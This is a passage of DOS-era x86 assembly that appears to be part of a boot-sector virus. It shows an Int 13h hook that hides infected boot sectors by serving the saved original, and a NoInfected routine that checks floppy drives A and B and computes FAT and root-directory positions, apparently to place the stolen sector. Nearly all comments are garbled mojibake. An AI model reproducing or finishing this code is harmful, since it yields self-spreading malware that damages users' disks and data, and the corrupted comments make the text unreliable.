;<3B><><EFBFBD><EFBFBD> <20><> <20><>३<EFBFBD><E0A5A9><EFBFBD> <20> <20><> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20> 3/4 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B> <20> 1/4 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20>㤥<EFBFBD>.
|
|||
|
|
|||
|
push cs ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> ਣ<><E0A8A3><EFBFBD>ࠬ<EFBFBD> ⠪ 鮡 ॣ<><E0A5A3><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
pop ds ;ES:DI - <20><><EFBFBD><EFBFBD>㢠<EFBFBD><E3A2A0> <20><> <20><><EFBFBD><EFBFBD>⮪ <20><><EFBFBD>讣<EFBFBD> <20><><EFBFBD><EFBFBD>㦥<EFBFBD><E3A6A5><EFBFBD><EFBFBD> ᥪ-
|
|||
|
mov di,bx ;<3B><><EFBFBD><EFBFBD>, <20> DS:SI <20><> <20><><EFBFBD><EFBFBD>⮪ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD><E2ADAE><EFBFBD>
|
|||
|
;类<> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
Cont: lea si,Signatura ;<3B> 横<><E6A8AA> <20><><EFBFBD><EFBFBD><EFBFBD> ࠧ <20> SI <20><><EFBFBD><EFBFBD>㦠<EFBFBD><E3A6A0> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
mov cx,8 ;<3B><><EFBFBD>, <20> CX <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push di ;DI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>⮪ ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> 类<><EFAAAE>
|
|||
|
repe cmpsb ;<3B> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㪠<EFBFBD><E3AAA0><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28> <20><><EFBFBD><EFBFBD>. 0)
|
|||
|
pop di ;<3B> <20><><EFBFBD><EFBFBD> <20><><EFBFBD>室<EFBFBD><E5AEA4><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jz Partachyty ;<3B><> <20><><EFBFBD><EFBFBD><EFBFBD> Partachyty (<28><>室<EFBFBD><E5AEA4><EFBFBD> <20> 横<><E6A8AA>) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
add di,200h ;<3B><>४<EFBFBD><E0A5AA><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 稭<><E7A8AD> DI ⠪ 鮡 <20><><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD>㢠<EFBFBD> <20><> <20><><EFBFBD><EFBFBD>㯭<EFBFBD><E3AFAD> ᥪ<><E1A5AA><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
dec byte ptr cs:[ForFunction] ;<3B> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>-
|
|||
|
jnz Cont ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>⠭<EFBFBD><E2A0AD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20> <20>ப<EFBFBD><E0AEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 横<>
|
|||
|
;<3B><> <20><><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
jmp short NePartachyty ;ANTI-EXE-<2D><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <><E1AAAE><EFBFBD><EFBFBD><EFBFBD><EEA2A0> <20><>
|
|||
|
nop ;Macro Assembler-<2D>,⮬<> <20><> ⠪<><E2A0AA> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><EFBFBD><E0AEA1><EFBFBD> <20><><EFBFBD>쪨 <20><><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> jmp NePartachyty (<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20>ࠢ<EFBFBD><E0A0A2> ???)
|
|||
|
|
|||
|
Partachyty: ;<3B><><EFBFBD><EFBFBD><EFBFBD>祭<EFBFBD><E7A5AD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> ⮬<> <20><> <20> <20><><EFBFBD>訩 <20><><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20> 类-
|
|||
|
stosb ;<3B><> <20><><EFBFBD><EFBFBD>諨 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⨬<EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD> AL (<28><><EFBFBD> <20><>
|
|||
|
;<3B><><EFBFBD>쪨 <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>箣<EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
NePartachyty:
|
|||
|
pop ds ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⨬<EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
pop di ;直<><EFAAA8> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㢠<EFBFBD><E3A2A0><EFBFBD><EFBFBD>
|
|||
|
pop si
|
|||
|
pop cx
|
|||
|
|
|||
|
cmp cx,00001h ;<3B><><EFBFBD><EFBFBD> <20>㫮 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> <20> ॣ<><E0A5A3><EFBFBD>ࠬ<EFBFBD>
|
|||
|
jnz End_Int13_ ;⨪<><E2A8AA><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>⠭<EFBFBD><E2A0AD> ᥪ<><E1A5AA><EFBFBD><EFBFBD> (-<2D><>)
|
|||
|
cmp dh,000h ;<3B><>稭<EFBFBD><E7A8AD><EFBFBD><EFBFBD> <20> ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD> 0/0/1 (boot-
|
|||
|
jnz End_Int13_ ;ᥪ<><E1A5AA><EFBFBD>) <20><> <20><> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3> <20><><EFBFBD><E0AEA1>,猪 <20><><EFBFBD>
|
|||
|
call ToWork ;<3B><><EFBFBD><EFBFBD> <20><>ࠧ<EFBFBD><E0A0A7><EFBFBD> (<28><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><> <20><> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD>) <20><><EFBFBD>
|
|||
|
;"<22><><EFBFBD><EFBFBD>㭥 <20><><EFBFBD><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD> <20><><EFBFBD><EFBFBD>⨬<EFBFBD>" (<28><><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
;<3B><><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD>)
|
|||
|
|
|||
|
;*************** <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> ****************
|
|||
|
End_Int13_: ;<3B><><EFBFBD>쪨 <20><>१ 楩 <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
popf ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 直<> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD>.
|
|||
|
End_Int13__: ;<3B> <20><><EFBFBD> <20><>窨 <20><>室<EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> ⮣<> <20><> <20>
|
|||
|
ret 2 ;<3B> <20>⥪<EFBFBD> <20><><EFBFBD><EFBFBD>ᠭ<EFBFBD> <><E1ABAE> <20>⠭<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (PSW)
|
|||
|
New_Int13 endp
|
|||
|
|
|||
|
;********** <20><><EFBFBD><E0AEA1> <20><>⠭<EFBFBD><E2A0AD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0/0/1 ***********
|
|||
|
ToWork proc near
|
|||
|
;************ <20><><EFBFBD>०<EFBFBD><E0A5A6> <20> <20>⥪<EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD> *************
|
|||
|
push ax ;<3B><> <20><EFBFBD><E0AEA7><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <><E0AEA1>?!
|
|||
|
push bx ;<3B><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20>⥪<EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push cx ;直<><EFAAA8> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>㢠<EFBFBD><E3A2A0><EFBFBD><EFBFBD>
|
|||
|
push dx
|
|||
|
push ds ;<3B><><EFBFBD> <20>室<EFBFBD><E5AEA4><EFBFBD><EFBFBD><EFBFBD> <20> <20><> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3>
|
|||
|
push es ;<3B><><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ⢪<><E2A2AA> <20><><EFBFBD>祭<EFBFBD><E7A5AD>
|
|||
|
push si ;<3B><> <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD>
|
|||
|
push di ;AH = 0, AL = ?, ES:BX = <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><>⠭<EFBFBD><E2A0AD>
|
|||
|
;CX = 1, DH = 0, DL = ?
|
|||
|
|
|||
|
;******* <20><EFBFBD>ਬ <20><> <20><><EFBFBD><EFBFBD><EFBFBD> boot <20><><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD> *******
|
|||
|
push es ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD> boot-
|
|||
|
pop ds ;ᥪ<><E1A5AA><EFBFBD><EFBFBD> <20> <20><><EFBFBD>訬<EFBFBD> <20><><EFBFBD><EFBFBD>ଠ <20><><EFBFBD>⠬<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov ax,cs:[0000h] ;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20>㤥<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
cmp ax,[bx] ;<3B><><EFBFBD><EFBFBD><EFBFBD> boot-ᥪ<><E1A5AA><EFBFBD> <20><><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD> <20> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD>-
|
|||
|
jnz NoInfected ;<3B>㢠<EFBFBD><E3A2A0> <20><><EFBFBD><EFBFBD>㯭<EFBFBD><E3AFAD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 直<> <20><><EFBFBD><EFBFBD>⠢-
|
|||
|
mov ax,cs:[0002h] ;<3B><><EFBFBD> <20><>ଠ<EFBFBD>쭨<EFBFBD> boot-ᥪ<><E1A5AA><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
cmp ax,[bx+2] ;<3B><> <20><> ᥪ<><E1A5AA><EFBFBD> <20><> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> <20><>३<EFBFBD><E0A5A9><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jnz NoInfected ;NoInfected (<28><> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD>) ⠬ <20><> <20><><EFBFBD><EFBFBD> <20><>ࠧ<EFBFBD><E0A0A7>
|
|||
|
|
|||
|
;********* <20><><EFBFBD><EFBFBD>㭥<EFBFBD> <20><>ଠ<EFBFBD>쭨<EFBFBD> boot ᥪ<><E1A5AA><EFBFBD> **********
|
|||
|
mov cx,OldBoot[bx] ;<3B><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>-
|
|||
|
mov dh,OldBootHead[bx] ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ଠ<EFBFBD>쭨<EFBFBD> boot-ᥪ<><E1A5AA><EFBFBD> <20> <20><><EFBFBD>-
|
|||
|
mov ax,00201h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ᥬ <20><> <20><><EFBFBD><EFBFBD>
|
|||
|
int NewVector ;<3B><><EFBFBD><EFBFBD><EFBFBD>祬 <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD> <20><>⠭<EFBFBD><E2A0AD> ᥪ<><E1A5AA><EFBFBD><EFBFBD>
|
|||
|
jmp short ExitFromThere ;<3B> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ணࠬ<E0AEA3>
|
|||
|
|
|||
|
;********* <20><>ࠧ<EFBFBD><E0A0A7> <20><> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD> boot-ᥪ<><E1A5AA><EFBFBD> *********
|
|||
|
NoInfected:
|
|||
|
cmp dl,001h ;<3B> DL - <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (0=A,1=B)
|
|||
|
ja ExitFromThere ;<3B><>ࠦ<EFBFBD><E0A0A6><EFBFBD> <20><><EFBFBD>쪨 <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E1AAAE><EFBFBD> A <20><><EFBFBD> B
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ਢ<EFBFBD><E0A8A2><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;*********** <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> "墮<><E5A2AE><EFBFBD>" ************
|
|||
|
mov ax,[bx+OffsetFATSize] ;AX - <><E0AEA7><EFBFBD> FAT <20> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mul byte ptr [bx+OffsetQuantityFAT] ;AX - <><E0AEA7><EFBFBD> FAT <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> FAT-<2D><> <20> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD>쪮<EFBFBD><ECAAAE><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD> <20><><EFBFBD> FAT-<2D>
|
|||
|
add ax,[bx+OffsetReservedSectors] ;AX - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> ⮣<> <20><><EFBFBD><EFBFBD>-
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><>१<EFBFBD>ࢮ<EFBFBD><E0A2AE><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><>। FAT-<2D><><EFBFBD> (MBR,BOOT,<2C> <20>.<2E>)
|
|||
|
push dx ;
|
|||
|
mov cl,4 ;
|
|||
|
mov dx,[bx+OffsetRootSize] ;DX - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>-
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>⠫<EFBFBD><E2A0AB><EFBFBD> (<28> 32-<2D><><EFBFBD>⭨<EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
shr dx,cl ;<><E0AEA7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> DX <20><> 16 <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD> ROOT
|
|||
|
add ax,dx ;<3B> <20><> ⠪<><E2A0AA> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> AX
|
|||
|
;<3B>⦥ AX <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>쪮<EFBFBD><ECAAAE><EFBFBD> ᥪ-
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> :
|
|||
|
;FAT,ROOT,BOOT...
|
|||
|
dec ax ;<3B><>४<EFBFBD><E0A5AA><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <><E0AEA7><EFBFBD>㭪<EFBFBD><E3ADAA>
|
|||
|
mov cx,[bx+OffsetSectorsPerTrek] ;CX - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
push cx ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>४<EFBFBD>
|
|||
|
sal cx,1 ;CX - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E0AEA6> <20><><EFBFBD> <20> <20><><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub dx,dx ;<3B>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> DX:AX <20><> CX
|
|||
|
;<3B><> <20> AX <20><><EFBFBD> <20>,<2C> 鮡 <20><>-
|
|||
|
;ᮬ <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>९<EFBFBD><E0A5AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
;<3B><> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
;DX:AX ,<2C><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <><E1ABAE> <20><><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
div cx ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> AL - <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B>४<EFBFBD> (AH = 0)
|
|||
|
;DX - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E0AEA6>
|
|||
|
;<3B><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><E0AEAD>,
|
|||
|
;<3B><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> 1 ???
|
|||
|
pop cx ;CX - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
push ax ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>४<EFBFBD>
|
|||
|
mov ax,dx ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> DX <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub dx,dx ;<3B><><EFBFBD><EFBFBD>ᨬ<EFBFBD> <20> ॣ<><E0A5A3><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
;DX:AX <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>-
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E0AEA6>
|
|||
|
div cx ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> AL - <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD>
|
|||
|
;DL - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E0AEA6>
|
|||
|
;<3B><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> 1 ???
|
|||
|
|
|||
|
mov dh,al ;<3B> AL - <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
mov cl,dl ;<3B> DL - <20><><EFBFBD><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD><EFBFBD>-1
|
|||
|
pop ax ;<3B> AL - <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E0AEA6>
|
|||
|
mov ch,al
|
|||
|
inc cl ;<3B> CL - <20><><EFBFBD><EFBFBD><EFBFBD>४⮢<E0A5AA><E2AEA2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;ᥪ<><E1A5AA><EFBFBD><EFBFBD>
|
|||
|
pop ax
|
|||
|
mov dl,al ;<3B> AL - <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>/
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;ᥪ<><E1A5AA><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>⠭<EFBFBD><E2A0AD><EFBFBD>
|
|||
|
;ᥪ<><E1A5AA><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><> <20><>ॢ<EFBFBD><E0A5A2><EFBFBD><EFBFBD> <20><>⠭<EFBFBD><E2A0AD><EFBFBD> ᥪ<><E1A5AA><EFBFBD>
|
|||
|
;ROOT <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><>ॢ<EFBFBD><E0A5A2><EFBFBD><EFBFBD> ROOT
|
|||
|
;<><E0AEA7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> FAT
|
|||
|
